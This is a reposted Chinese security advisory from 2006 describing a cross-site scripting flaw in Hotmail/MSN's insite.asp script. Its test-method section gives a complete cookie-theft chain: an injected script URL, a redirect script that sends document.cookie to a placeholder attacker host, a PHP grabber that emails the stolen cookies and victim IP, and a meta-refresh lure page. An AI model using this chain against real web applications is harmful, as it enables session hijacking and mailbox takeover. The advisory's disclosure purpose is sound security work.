[转载]Hotmail/MSN insite.asp跨站脚本执行漏洞
信息来源：绿盟科技发布日期：2006-08-10
更新日期：2006-08-17
受影响系统：
Microsoft Hotmail
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 19436
Hotmail是微软提供的用于注册MSN的免费邮件系统。
Hotmail的CGI脚本实现上存在跨站脚本执行漏洞，远程攻击者可能利用此漏洞非授权访问其他用户的邮箱。
由于没有正确过滤用户输入，导致newsletter.msn.com的insite.asp脚本中存在跨站脚本漏洞。攻击者可以利用这个脚本在已认证MSN用户浏览器的环境中执行任意代码，导致窃取基于cookie的认证信息，在cookie过期之前（大约24个小时）临时访问受害用户的邮件帐号。
<*来源：Simo64 （[email]simo64@morx.org[/email]）
链接：[url]http://marc.theaimsgroup.com/?l=full-disclosure&m=115522061605940&w=2[/url]
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
[url]http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE=[/url]')></script><scriptsrc=http://attacker/redir.js>
这里redir.js代码可以为：
location.href='[url]http://attacker-site/cookie-grabber.php?cookie=[/url]'+escape(document.cookie)
cookie-grabber.php可以为：
<?
$cookie = $_GET['cookie'];
$ip = getenv("REMOTE_ADDR");
$msg = "Cookie: $cookie\nIP Address: $ip";
$subject = "cookie";
mail("[email]your@email.org[/email]", $subject, $msg);
header ("location: [url]http://attacker-site/some-pic.jpg[/url]");
?>
攻击者还可以使用html文件将受害用户重新定向至跨站脚本位置：
<meta http-equiv="refresh" content="0;
url=http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE=')></script><scriptsrc=http://attacker/redir.js>">
建议：
--------------------------------------------------------------------------------
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
[url]http://www.microsoft.com/technet/security/[/url]
页:
[1]